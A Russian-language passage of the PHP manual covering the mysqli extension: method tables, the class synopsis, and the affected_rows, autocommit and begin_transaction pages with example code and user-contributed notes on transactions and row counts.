mysqli_stmt::bind_result() | mysqli_stmt_bind_result() | Н/Д | Передаёт переменные в подготовленный запрос для сохранения результатов
mysqli_stmt::close() | mysqli_stmt_close() | - | Закрывает подготовленный запрос
mysqli_stmt::data_seek() | mysqli_stmt_data_seek() | - | Производит поиск произвольной строки в результатах запроса
mysqli_stmt::execute() | mysqli_stmt_execute() | mysqli_execute() | Исполняет подготовленный запрос
mysqli_stmt::fetch() | mysqli_stmt_fetch() | Н/Д | Выборка результатов подготовленного запроса в связанные переменные
mysqli_stmt::free_result() | mysqli_stmt_free_result() | - | Освобождает память, хранящую результаты заданного дескриптором запроса
mysqli_stmt::get_result() | mysqli_stmt_get_result() | - | Получает результаты подготовленного запроса. Доступно только с модулем mysqlnd.
mysqli_stmt::get_warnings() | mysqli_stmt_get_warnings() | - | Не документировано
mysqli_stmt::more_results() | mysqli_stmt_more_results() | - | Проверяет наличие дополнительных результатов запроса в случае множественного запроса
mysqli_stmt::next_result() | mysqli_stmt_next_result() | - | Читает следующий результат из множественного запроса
mysqli_stmt::num_rows() | mysqli_stmt_num_rows() | - | Смотрите также $mysqli_stmt::num_rows
mysqli_stmt::prepare() | mysqli_stmt_prepare() | - | Выполняет подготовку SQL запроса для запуска
mysqli_stmt::reset() | mysqli_stmt_reset() | - | Сбрасывает подготовленный запрос
mysqli_stmt::result_metadata() | mysqli_stmt_result_metadata() | Н/Д | Возвращает метаданные результатов подготовленного запроса
mysqli_stmt::send_long_data() | mysqli_stmt_send_long_data() | Н/Д | Передача данных блоками
mysqli_stmt::store_result() | mysqli_stmt_store_result() | - | Передаёт результат из подготовленного запроса
Основная информация о методах mysqli_result
mysqli_result
ООП-интерфейс | Процедурный интерфейс | Синоним (не используйте!) | Описание
Свойства
$mysqli_result::current_field | mysqli_field_tell() | - | Получить смещение указателя на результат для текущего поля
$mysqli_result::field_count | mysqli_num_fields() | - | Получить количество полей в результате
$mysqli_result::lengths | mysqli_fetch_lengths() | - | Возвращает длины столбцов текущей строки в наборе результатов
$mysqli_result::num_rows | mysqli_num_rows() | - | Получает число строк в результате
Методы
mysqli_result::data_seek() | mysqli_data_seek() | - | Устанавливает указатель результата на произвольную строку в результате
mysqli_result::fetch_all() | mysqli_fetch_all() | - | Получает все результирующие строки и возвращает массив со строками в виде ассоциативного массива и/или нумерованного массива. Доступно только с модулем mysqlnd.
mysqli_result::fetch_array() | mysqli_fetch_array() | - | Получает результирующую строку в виде ассоциативного массива и/или нумерованного массива
mysqli_result::fetch_assoc() | mysqli_fetch_assoc() | - | Получает результирующую строку в виде ассоциативного массива
mysqli_result::fetch_column() | mysqli_fetch_column() | N/A | Получает один столбец из следующей строки набора результатов
mysqli_result::fetch_field_direct() | mysqli_fetch_field_direct() | - | Получает метаданные для одного поля
mysqli_result::fetch_field() | mysqli_fetch_field() | - | Возвращает из результата следующее поле
mysqli_result::fetch_fields() | mysqli_fetch_fields() | - | Возвращает массив объектов из полей результата
mysqli_result::fetch_object() | mysqli_fetch_object() | - | Возвращает текущую строку результата в виде объекта
mysqli_result::fetch_row() | mysqli_fetch_row() | - | Получает строку результата как нумерованный массив
mysqli_result::field_seek() | mysqli_field_seek() | - | Устанавливает смещение указателя результата на определённое поле
mysqli_result::free(), mysqli_result::close, mysqli_result::free_result | mysqli_free_result() | - | Освобождает память, связанную с результатом
Основная информация о методах mysqli_driver
MySQL_Driver
ООП-интерфейс | Процедурный интерфейс | Синоним (не используйте!) | Описание
Свойства
$mysqli_driver::mysqli_report | mysqli_report() | Не документировано | Устанавливает режим отчёта об ошибках mysqli
Методы
mysqli_driver::embedded_server_end() | mysqli_embedded_server_end() | - | Не документировано
mysqli_driver::embedded_server_start() | mysqli_embedded_server_start() | - | Не документировано

Замечание:

Псевдонимы функций предназначены только для обеспечения обратной совместимости. Не используйте их в новых проектах.

User Contributed Notes

There are no user contributed notes for this page.


Класс mysqli

(PHP 5, PHP 7, PHP 8)

Введение

Представляет связь между PHP и базой данных MySQL.

Обзор классов

class mysqli {
/* Свойства */
public readonly int|string $affected_rows;
public readonly string $client_info;
public readonly int $client_version;
public readonly int $connect_errno;
public readonly ?string $connect_error;
public readonly int $errno;
public readonly string $error;
public readonly array $error_list;
public readonly int $field_count;
public readonly string $host_info;
public readonly ?string $info;
public readonly int|string $insert_id;
public readonly string $server_info;
public readonly int $server_version;
public readonly string $sqlstate;
public readonly int $protocol_version;
public readonly int $thread_id;
public readonly int $warning_count;
/* Методы */
public __construct(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
)
public autocommit(bool $enable): bool
public begin_transaction(int $flags = 0, ?string $name = null): bool
public change_user(string $username, string $password, ?string $database): bool
public character_set_name(): string
public close(): true
public commit(int $flags = 0, ?string $name = null): bool
public connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null
): bool
public debug(string $options): true
public dump_debug_info(): bool
public execute_query(string $query, ?array $params = null): mysqli_result|bool
public get_charset(): ?object
public get_client_info(): string
public get_connection_stats(): array
public mysqli_stmt::get_server_info(): string
public get_warnings(): mysqli_warning|false
public init(): ?bool
public kill(int $process_id): bool
public more_results(): bool
public multi_query(string $query): bool
public next_result(): bool
public options(int $option, string|int $value): bool
public ping(): bool
public static poll(
?array &$read,
?array &$error,
array &$reject,
int $seconds,
int $microseconds = 0
): int|false
public prepare(string $query): mysqli_stmt|false
public query(string $query, int $result_mode = MYSQLI_STORE_RESULT): mysqli_result|bool
public real_connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null,
int $flags = 0
): bool
public real_escape_string(string $string): string
public real_query(string $query): bool
public reap_async_query(): mysqli_result|bool
public refresh(int $flags): bool
public release_savepoint(string $name): bool
public rollback(int $flags = 0, ?string $name = null): bool
public savepoint(string $name): bool
public select_db(string $database): bool
public set_charset(string $charset): bool
public ssl_set(
?string $key,
?string $certificate,
?string $ca_certificate,
?string $ca_path,
?string $cipher_algos
): true
public stat(): string|false
public stmt_init(): mysqli_stmt|false
public store_result(int $mode = 0): mysqli_result|false
public thread_safe(): bool
public use_result(): mysqli_result|false
}

Содержание

  • mysqli::$affected_rows — Получает число строк, затронутых предыдущей операцией MySQL
  • mysqli::autocommit — Включает или отключает автоматическую фиксацию изменений базы данных
  • mysqli::begin_transaction — Стартует транзакцию
  • mysqli::change_user — Позволяет сменить пользователя подключённого к базе данных
  • mysqli::character_set_name — Возвращает текущую кодировку, установленную для соединения с БД
  • mysqli::close — Закрывает ранее открытое соединение с базой данных
  • mysqli::commit — Фиксирует текущую транзакцию
  • mysqli::$connect_errno — Возвращает код ошибки последней попытки соединения
  • mysqli::$connect_error — Возвращает описание последней ошибки подключения
  • mysqli::__construct — Устанавливает новое соединение с сервером MySQL
  • mysqli::debug — Выполняет процедуры отладки
  • mysqli::dump_debug_info — Журналирование отладочной информации
  • mysqli::$errno — Возвращает код ошибки последнего вызова функции
  • mysqli::$error_list — Возвращает список ошибок выполнения последней запущенной команды
  • mysqli::$error — Возвращает строку с описанием последней ошибки
  • mysqli::execute_query — Подготавливает, связывает параметры и выполняет SQL-запрос
  • mysqli::$field_count — Возвращает число столбцов, затронутых последним запросом
  • mysqli::get_charset — Возвращает объект, описывающий кодировку
  • mysqli::$client_info — Получает информацию о клиенте MySQL
  • mysqli::$client_version — Возвращает информацию о клиенте MySQL в виде строки
  • mysqli::get_connection_stats — Возвращает статистику соединения с клиентом
  • mysqli::$host_info — Возвращает строку, содержащую тип используемого соединения
  • mysqli::$protocol_version — Возвращает версию используемого MySQL протокола
  • mysqli::$server_info — Возвращает версию MySQL сервера
  • mysqli::$server_version — Возвращает версию сервера MySQL, представленную в виде integer
  • mysqli::get_warnings — Получает результат SHOW WARNINGS
  • mysqli::$info — Извлекает информацию о последнем выполненном запросе
  • mysqli::init — Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()
  • mysqli::$insert_id — Возвращает значение, созданное для столбца AUTO_INCREMENT последним запросом
  • mysqli::kill — Запрос для сервера завершить выполнение процесса MySQL
  • mysqli::more_results — Проверка, есть ли ещё результаты в мультизапросе
  • mysqli::multi_query — Выполняет один или несколько запросов к базе данных
  • mysqli::next_result — Подготовка следующего доступного результирующего набора из multi_query
  • mysqli::options — Установка настроек
  • mysqli::ping — Проверяет работоспособность соединения или пытается переподключиться, если соединение разорвано
  • mysqli::poll — Опрос подключений
  • mysqli::prepare — Подготавливает SQL выражение к выполнению
  • mysqli::query — Выполняет запрос к базе данных
  • mysqli::real_connect — Устанавливает соединение с сервером mysql
  • mysqli::real_escape_string — Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения
  • mysqli::real_query — Выполнение SQL запроса
  • mysqli::reap_async_query — Получение результата асинхронного запроса
  • mysqli::refresh — Обновление
  • mysqli::release_savepoint — Удаляет именованную точку сохранения из списка точек сохранения текущей транзакции
  • mysqli::rollback — Откат текущей транзакции
  • mysqli::savepoint — Установите именованную точку сохранения транзакции
  • mysqli::select_db — Устанавливает базу данных для выполняемых запросов
  • mysqli::set_charset — Задаёт набор символов
  • mysqli::$sqlstate — Возвращает код состояния SQLSTATE последней MySQL операции
  • mysqli::ssl_set — Используется для установления безопасных соединений, используя SSL
  • mysqli::stat — Получение информации о текущем состоянии системы
  • mysqli::stmt_init — Инициализирует запрос и возвращает объект для использования в mysqli_stmt_prepare
  • mysqli::store_result — Передаёт на клиента результирующий набор последнего запроса
  • mysqli::$thread_id — Возвращает ID процесса текущего подключения
  • mysqli::thread_safe — Показывает, безопасна ли работа с процессами
  • mysqli::use_result — Готовит результирующий набор на сервере к использованию
  • mysqli::$warning_count — Возвращает количество предупреждений из последнего запроса заданного подключения

User Contributed Notes

There are no user contributed notes for this page.


Получает число строк, затронутых предыдущей операцией MySQL

  • « mysqli
  • mysqli::autocommit »
  • PHP Manual
  • mysqli
  • Получает число строк, затронутых предыдущей операцией MySQL

mysqli::$affected_rows

mysqli_affected_rows

(PHP 5, PHP 7, PHP 8)

mysqli::$affected_rows -- mysqli_affected_rows — Получает число строк, затронутых предыдущей операцией MySQL

Описание

Объектно-ориентированный стиль

int|string $mysqli->affected_rows;

Процедурный стиль

mysqli_affected_rows(mysqli $mysql): int|string

Возвращает число строк, затронутых последним запросом INSERT, UPDATE, REPLACE или DELETE. Работает аналогично mysqli_num_rows() для выражений SELECT.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

Возвращаемые значения

Целое число, большее нуля, означает количество затронутых или полученных строк. Ноль означает, что записи для оператора UPDATE не обновлялись, ни одна строка не соответствовала выражению WHERE в запросе или что ни один запрос ещё не был выполнен. -1 означает, что во время выполнения запроса произошла ошибка или что mysqli_affected_rows() была вызвана для небуферизованного запроса SELECT.

Замечание:

Если число затронутых строк больше чем максимальное значение целого числа (PHP_INT_MAX), то число затронутых строк будет возвращено в виде строки.

Примеры

Пример #1 Пример использования $mysqli->affected_rows

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Добавление строк */
$mysqli->query("CREATE TABLE Language SELECT * from CountryLanguage");
printf("Затронутые строки (INSERT): %d\n", $mysqli->affected_rows);

$mysqli->query("ALTER TABLE Language ADD Status int default 0");

/* Обновление строк */
$mysqli->query("UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Затронутые строки (UPDATE): %d\n", $mysqli->affected_rows);

/* Удаление строк */
$mysqli->query("DELETE FROM Language WHERE Percentage < 50");
printf("Затронутые строки (DELETE): %d\n", $mysqli->affected_rows);

/* Выборка всех строк */
$result = $mysqli->query("SELECT CountryCode FROM Language");
printf("Затронутые строки (SELECT): %d\n", $mysqli->affected_rows);

/* Удаление таблицы Language */
$mysqli->query("DROP TABLE Language");
?>

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Добавление строк */
mysqli_query($link, "CREATE TABLE Language SELECT * from CountryLanguage");
printf("Затронутые строки (INSERT): %d\n", mysqli_affected_rows($link));

mysqli_query($link, "ALTER TABLE Language ADD Status int default 0");

/* Обновление строк */
mysqli_query($link, "UPDATE Language SET Status=1 WHERE Percentage > 50");
printf("Затронутые строки (UPDATE): %d\n", mysqli_affected_rows($link));

/* Удаление строк */
mysqli_query($link, "DELETE FROM Language WHERE Percentage < 50");
printf("Затронутые строки (DELETE): %d\n", mysqli_affected_rows($link));

/* Выборка всех строк */
$result = mysqli_query($link, "SELECT CountryCode FROM Language");
printf("Затронутые строки (SELECT): %d\n", mysqli_affected_rows($link));

/* Удаление таблицы Language */
mysqli_query($link, "DROP TABLE Language");
?>

Результат выполнения данных примеров:

Затронутые строки (INSERT): 984
Затронутые строки (UPDATE): 168
Затронутые строки (DELETE): 815
Затронутые строки (SELECT): 169

Смотрите также

  • mysqli_num_rows() - Получает количество строк в наборе результатов
  • mysqli_info() - Извлекает информацию о последнем выполненном запросе

User Contributed Notes

lucgommans.nl 07-Feb-2023 03:02
Under the hood, this calls into mysql_affected_rows (1). The MariaDB function ROW_COUNT() mentions (2) that it is the equivalent of that C API function. These two lines, SQL followed by PHP, should be equivalent:

SELECT ROW_COUNT();
$db->affected_rows;

I found this useful to double check things in an SQL prompt, to make sure affected_rows is reflecting what I expect (changed rows as opposed to matched rows in an update statement), which indeed it did.

1. https://github.com/php/php-src/blob/1521cafee29e23ca147ec777f3770a7ac46c6880/ext/mysqli/mysqli_api.c#L36-L49
2. https://mariadb.com/kb/en/row_count/
Jacques Amar 10-Apr-2017 04:07
While using prepared statements, even if there is no result set (Like in an UPDATE or DELETE), you still need to store the results before affected_rows returns the actual number:

<?php
$del_stmt->execute();
$del_stmt->store_result();
$count = $del_stmt->affected_rows;
?>

Otherwise things will just be frustrating ..
anonymous 04-Dec-2015 10:48
This may seem obvious, but if you do an UPDATE with each of the values in your SET clause having the exact same value that is already in the table, then affected_rows returns 0.  For example:

<?php
    $mysqli = new mysqli($host, $usr, $pwd, $db, $port);
    $appointment_date = "2015-12-07";
    $sql = "update appointments set appointment_date = ? where appointment_id = 78";
    $stmt = $mysqli->prepare($sql);
    $stmt->bind_param("s",$appointment_date);
    $stmt->execute();
    echo $mysqli ->affected_rows . "<br>";
?>

This returns 1 the first time I run it after changing the value of the $appointment_date variable.  When I run it a second time (making no changes), it returns 0.  I also verified the same behavior without using prepared statements.
Michael 15-Nov-2014 06:35
If you need to know specifically whether the WHERE condition of an UPDATE operation failed to match rows, or that simply no rows required updating you need to instead check mysqli::$info.

As this returns a string that requires parsing, you can use the following to convert the results into an associative array.

Object oriented style:

<?php
    preg_match_all ('/(\S[^:]+): (\d+)/', $mysqli->info, $matches);
    $info = array_combine ($matches[1], $matches[2]);
?>

Procedural style:

<?php
    preg_match_all ('/(\S[^:]+): (\d+)/', mysqli_info ($link), $matches);
    $info = array_combine ($matches[1], $matches[2]);
?>

You can then use the array to test for the different conditions

<?php
    if ($info ['Rows matched'] == 0) {
        echo "This operation did not match any rows.\n";
    } elseif ($info ['Changed'] == 0) {
        echo "This operation matched rows, but none required updating.\n";
    }

    if ($info ['Changed'] < $info ['Rows matched']) {
        echo ($info ['Rows matched'] - $info ['Changed'])." rows matched but were not changed.\n";
    }
?>

This approach can be used with any query that mysqli::$info supports (INSERT INTO, LOAD DATA, ALTER TABLE, and UPDATE), for other any queries it returns an empty array.

For any UPDATE operation the array returned will have the following elements:

Array
(
    [Rows matched] => 1
    [Changed] => 0
    [Warnings] => 0
)
fastest963 at gmail dot com 10-Jun-2014 05:50
empty($db->affected_rows) will return TRUE even if affected_rows is greater than 0. Manually check < 1 if you're looking for failure.
Anonymous 18-Feb-2011 02:50
On "INSERT INTO ON DUPLICATE KEY UPDATE" queries, though one may expect affected_rows to return only 0 or 1 per row on successful queries, it may in fact return 2.

From Mysql manual: "With ON DUPLICATE KEY UPDATE, the affected-rows value per row is 1 if the row is inserted as a new row and 2 if an existing row is updated."

See: http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html

Here's the sum breakdown _per row_:
+0: a row wasn't updated or inserted (likely because the row already existed, but no field values were actually changed during the UPDATE)
+1: a row was inserted
+2: a row was updated
oilpc at oilpc dot com 14-Nov-2009 10:06
For "INSERT" or "UPDATE" statement for modifying data contained in one row of one table I checked if number of affected rows equals 1 to determine success of the operation. It works fine both for errors and false value of WHERE condition (that might be generated according to specific application user acces privileges).
<?php
if ($mysqli->affected_rows==1){
    echo "success";
}
else {
    echo "fail";
}
?>

Checking if mysqli->affected_rows will equal -1 or not is not a good method of determining success of "INSERT IGNORE" statements. Example: Ignoring duplicate key errors while inserting some rows containing data provided by user only if they will match specified unique constraint causes returning of -1 value by mysqli->affected_rows even if rows were inserted. (checked on MySQL 5.0.85 linux and php 5.2.9-2 windows). However mysqli->sqlstate returns no error if statement was executed successfully.
<?php
if ($mysqli->affected_rows!=-1){
    echo "success";// for "INSERT IGNORE" statements will not occur if there were any duplicate key errors ignored during execution of the query
}
else {
    echo "fail";// "INSERT IGNORE" statements causing any duplicate key errors (however ignored) lead to mysqli->affected_rows equal -1
}

// Example below works for "INSERT IGNORE" stattements, too
if ($mysqli->sqlstate=="00000"){
    echo "success";
}
else {
    echo "fail";
}
?>


Включает или отключает автоматическую фиксацию изменений базы данных

  • « mysqli::$affected_rows
  • mysqli::begin_transaction »
  • PHP Manual
  • mysqli
  • Включает или отключает автоматическую фиксацию изменений базы данных

mysqli::autocommit

mysqli_autocommit

(PHP 5, PHP 7, PHP 8)

mysqli::autocommit -- mysqli_autocommit — Включает или отключает автоматическую фиксацию изменений базы данных

Описание

Объектно-ориентированный стиль

public mysqli::autocommit(bool $enable): bool

Процедурный стиль

mysqli_autocommit(mysqli $mysql, bool $enable): bool

Включает или отключает режим автоматической фиксации изменений для соединения с базой данных.

Чтобы определить текущее состояние режима, используйте команду SQL SELECT @@autocommit.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

enable

Включает или отключает режим автоматической фиксации изменений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::autocommit()

Объектно-ориентированный стиль

<?php

/* Указать mysqli выбрасывать исключение в случае возникновения ошибки */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Движок таблиц должен поддерживать транзакции */
$mysqli->query("CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Отключить автоматическую фиксацию */
$mysqli->autocommit(false);

$result = $mysqli->query("SELECT @@autocommit");
$row = $result->fetch_row();
printf("Автоматическая фиксация: %s\n", $row[0]);

try {
/* Подготовить выражение для добавления */
$stmt = $mysqli->prepare('INSERT INTO language(Code, Speakers) VALUES (?,?)');
$stmt->bind_param('ss', $language_code, $native_speakers);

/* Добавление каких-то значений */
$language_code = 'DE';
$native_speakers = 50_123_456;
$stmt->execute();
$language_code = 'FR';
$native_speakers = 40_546_321;
$stmt->execute();

/* Зафиксируйте данные в базе данных. Это не устанавливает autocommit=true */
$mysqli->commit();
print "Зафиксировано 2 строки в базе данных\n";

$result = $mysqli->query("SELECT @@autocommit");
$row = $result->fetch_row();
printf("Автоматическая фиксация: %s\n", $row[0]);

/* Попробуйте вставить больше значений */
$language_code = 'PL';
$native_speakers = 30_555_444;
$stmt->execute();
$language_code = 'DK';
$native_speakers = 5_222_444;
$stmt->execute();

/* Установка autocommit=true вызовет фиксацию */
$mysqli->autocommit(true);

print "Зафиксировано 2 строки в базе данных\n";
} catch (mysqli_sql_exception $exception) {
$mysqli->rollback();

throw $exception;
}

Процедурный стиль

<?php

/* Указать mysqli выбрасывать исключение в случае возникновения ошибки */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Движок таблиц должен поддерживать транзакции */
mysqli_query($mysqli, "CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Отключить автоматическую фиксацию */
mysqli_autocommit($mysqli, false);

$result = mysqli_query($mysqli, "SELECT @@autocommit");
$row = mysqli_fetch_row($result);
printf("Автоматическая фиксация: %s\n", $row[0]);

try {
/* Подготовить выражение для добавления */
$stmt = mysqli_prepare($mysqli, 'INSERT INTO language(Code, Speakers) VALUES (?,?)');
mysqli_stmt_bind_param($stmt, 'ss', $language_code, $native_speakers);

/* Добавление каких-то значений */
$language_code = 'DE';
$native_speakers = 50_123_456;
mysqli_stmt_execute($stmt);
$language_code = 'FR';
$native_speakers = 40_546_321;
mysqli_stmt_execute($stmt);

/* Зафиксируйте данные в базе данных. Это не устанавливает autocommit=true */
mysqli_commit($mysqli);
print "Зафиксировано 2 строки в базе данных\n";

$result = mysqli_query($mysqli, "SELECT @@autocommit");
$row = mysqli_fetch_row($result);
printf("Автоматическая фиксация: %s\n", $row[0]);

/* Попробуйте вставить больше значений */
$language_code = 'PL';
$native_speakers = 30_555_444;
mysqli_stmt_execute($stmt);
$language_code = 'DK';
$native_speakers = 5_222_444;
mysqli_stmt_execute($stmt);

/* Установка autocommit=true вызовет фиксацию */
mysqli_autocommit($mysqli, true);

print "Зафиксировано 2 строки в базе данных\n";
} catch (mysqli_sql_exception $exception) {
mysqli_rollback($mysqli);

throw $exception;
}

Результат выполнения данных примеров:

Автоматическая фиксация: 0
Зафиксировано 2 строки в базе данных
Автоматическая фиксация: 0
Зафиксировано 2 строки в базе данных
Автоматическая фиксация: 0
Зафиксировано 2 строки в базе данных
Автоматическая фиксация: 0
Зафиксировано 2 строки в базе данных

Примечания

Замечание:

Функция не работает с нетранзакционными типами таблиц (такими как MyISAM или ISAM).

Смотрите также

  • mysqli_begin_transaction() - Стартует транзакцию
  • mysqli_commit() - Фиксирует текущую транзакцию
  • mysqli_rollback() - Откат текущей транзакции

User Contributed Notes

jcwebb at dicoe dot com 11-Nov-2007 01:03
Just to be clear, autocommit not only turns on/off transactions, but will also 'commit' any waiting queries.
<?php
mysqli_autocommit($link, FALSE); // turn OFF auto
-some query 1;
-some query 2;
mysqli_commit($link); // process ALL queries so far
-some query 3;
-some query 4;
mysqli_autocommit($link, TRUE); // turn ON auto
?>
All 4 will be processed.
Geoffrey Thubron 12-May-2007 06:02
It's worth noting that you can perform transactions without disabling autocommit just using standard sql. "START TRANSACTION;" will start a transaction. "COMMIT;" will commit the results and "ROLLBACK;" will revert to the pre-transaction state.

CREATE TABLE and CREATE DATABASE (and probably others) are always commited immediately and your transaction appears to terminate. Thus any commands before and after will be commited, even if a subsequent rollback is attempted.

If you are in the middle of a transaction and you call mysqli_close() it appears that you get the funcitonality of an implicit rollback.

I can't reproduce the "code bug causes lock" problem outlined below (I always get a successful rollback and the script will run umtine times successfully). Therefore, I would suggest that the problem is fixed in php-5.2.2.
Glen 11-Mar-2007 12:22
I've found that if PHP exits due to a code bug during a transaction, an InnoDB table can remain locked until Apache is restarted.

The simple test is to start a transaction by setting $mysqli_obj->autocommit(false) and executing an insert statement.  Before getting to a $mysqli_obj->commit statement - have a runtime code bug bomb PHP.  You check the database, no insert happened (you assume a rollback occurred) .. and you go fix the bug, and try again... but this time the script takes about 50 seconds to timeout - the insert statement returning with a "1205 - Lock wait timeout exceeded; try restarting transaction".  No rollback occurred. And this error will not go away until you restart Apache - for whatever reason, the resources are not released until the process is killed.

I found that an 'exit', instead of a PHP code bug, will not cause a problem. So there is an auto-rollback mechanism in place - it just fails miserably when PHP dies unexpectantly. Having to restarting apache is a pretty drastic measure to overcome a code bug.

To avoid this problem, I use "register_shutdown_function()" when I start a transaction, and set a flag to indicate a transaction is in process (because there is no unregister_shutdown_function()). See below. So the __shutdown_check() routine (I beleive it needs to be public) is called when the script bombs - which is able to invoke the rollback().

these are just the relevant bits to give u an idea...

<?php

public function begin_transaction() {
  $ret = $this->mysqli_obj->autocommit(false);
  $this->transaction_in_progress = true;
  register_shutdown_function(array($this, "__shutdown_check"));
}

public function __shutdown_check() {
  if ($this->transaction_in_progress) {
    $this->rollback();
  }
}

public function commit() {
  $ret = $this->mysqli_obj->commit();
  $this->transaction_in_progress = false;
}

public function rollback() {
  $ret = $this->mysqli_obj->rollback();
  $this->transaction_in_progress = false;
}
?>

True for PHP 5.1.6 + MySQL 5.0.24a.
will at phpfever dot com 27-Apr-2006 01:22
If you are using the mysql command line tool, here are some helpful hints for the autocommit feature:

1.  To view the current autocommit setting, you can use this query: select @@autocommit;  It will return the current setting as 1 or 0 (on or off)

2. You can manage the default autocommit feature in you my.cnf or my.ini by adding the following line: init_connect='set autocommit=0'.  I'm pretty sure this isn't in the documentation, but it does work.

Here are the current engines, as of MySQL 5.1dev that support transactions:

InnoDB
BerkeleyDB
Falcon

Falcon is very new, so beware using it on production systems.


Стартует транзакцию

  • « mysqli::autocommit
  • mysqli::change_user »
  • PHP Manual
  • mysqli
  • Стартует транзакцию

mysqli::begin_transaction

mysqli_begin_transaction

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

mysqli::begin_transaction -- mysqli_begin_transaction — Стартует транзакцию

Описание

Объектно-ориентированный стиль

public mysqli::begin_transaction(int $flags = 0, ?string $name = null): bool

Процедурный стиль:

mysqli_begin_transaction(mysqli $mysql, int $flags = 0, ?string $name = null): bool

Стартует транзакцию. Требуется InnoDB (разрешён по умолчанию). Для дополнительной информации, как работают транзакции в MySQL, читайте » http://dev.mysql.com/doc/mysql/en/commit.html.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

flags

Корректные флаги:

  • MYSQLI_TRANS_START_READ_ONLY: Стартовать транзакцию как "START TRANSACTION READ ONLY". Требуется MySQL 5.6 или выше.

  • MYSQLI_TRANS_START_READ_WRITE: Стартовать транзакцию как "START TRANSACTION READ WRITE". Требуется MySQL 5.6 или выше.

  • MYSQLI_TRANS_START_WITH_CONSISTENT_SNAPSHOT: Стартовать транзакцию как "START TRANSACTION WITH CONSISTENT SNAPSHOT".

name

Точка сохранения транзакции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | name теперь допускает значение null.

Примеры

Пример #1 Пример использования mysqli::begin_transaction()

Объектно-ориентированный стиль

<?php

/* Указать mysqli выбрасывать исключение в случае возникновения ошибки */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Движок таблиц должен поддерживать транзакции */
$mysqli->query("CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Начало транзакции */
$mysqli->begin_transaction();

try {
/* Добавление каких-то значений */
$mysqli->query("INSERT INTO language(Code, Speakers) VALUES ('DE', 42000123)");

/* Попытка добавить недопустимые значения */
$language_code = 'FR';
$native_speakers = 'Unknown';
$stmt = $mysqli->prepare('INSERT INTO language(Code, Speakers) VALUES (?,?)');
$stmt->bind_param('ss', $language_code, $native_speakers);
$stmt->execute();

/* Если код достигает этой точки без ошибок, фиксируем данные в базе данных. */
$mysqli->commit();
} catch (mysqli_sql_exception $exception) {
$mysqli->rollback();

throw $exception;
}

Процедурный стиль

<?php

/* Указать mysqli выбрасывать исключение в случае возникновения ошибки */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Движок таблиц должен поддерживать транзакции */
mysqli_query($mysqli, "CREATE TABLE IF NOT EXISTS language (
Code text NOT NULL,
Speakers int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;");

/* Начало транзакции */
mysqli_begin_transaction($mysqli);

try {
/* Добавление каких-то значений */
mysqli_query($mysqli, "INSERT INTO language(Code, Speakers) VALUES ('DE', 42000123)");

/* Попытка добавить недопустимые значения */
$language_code = 'FR';
$native_speakers = 'Unknown';
$stmt = mysqli_prepare($mysqli, 'INSERT INTO language(Code, Speakers) VALUES (?,?)');
mysqli_stmt_bind_param($stmt, 'ss', $language_code, $native_speakers);
mysqli_stmt_execute($stmt);

/* Если код достигает этой точки без ошибок, фиксируем данные в базе данных. */
mysqli_commit($mysqli);
} catch (mysqli_sql_exception $exception) {
mysqli_rollback($mysqli);

throw $exception;
}

Примечания

Замечание:

Функция не работает с нетранзакционными типами таблиц (такими как MyISAM или ISAM).

Смотрите также

  • mysqli_autocommit() - Включает или отключает автоматическую фиксацию изменений базы данных
  • mysqli_commit() - Фиксирует текущую транзакцию
  • mysqli_rollback() - Откат текущей транзакции

User Contributed Notes

PHP Guru 04-Apr-2020 05:36
MySQL 5.6 introduces READ ONLY mode which applies optimizations to your transactions that can only be applied when it knows in advance that no table modifications will be made and that no locks will be issued.

The default access mode is READ WRITE in all versions up to and including MySQL 5.6. Starting in MySQL 5.7, the appropriate access mode is detected automatically. So if your transaction attempts modifications or table locks, it will automatically use READ WRITE mode, otherwise it will use READ ONLY mode and your transaction will benefit from the optimizations that come from that without having to explicitly declare is as READ ONLY.

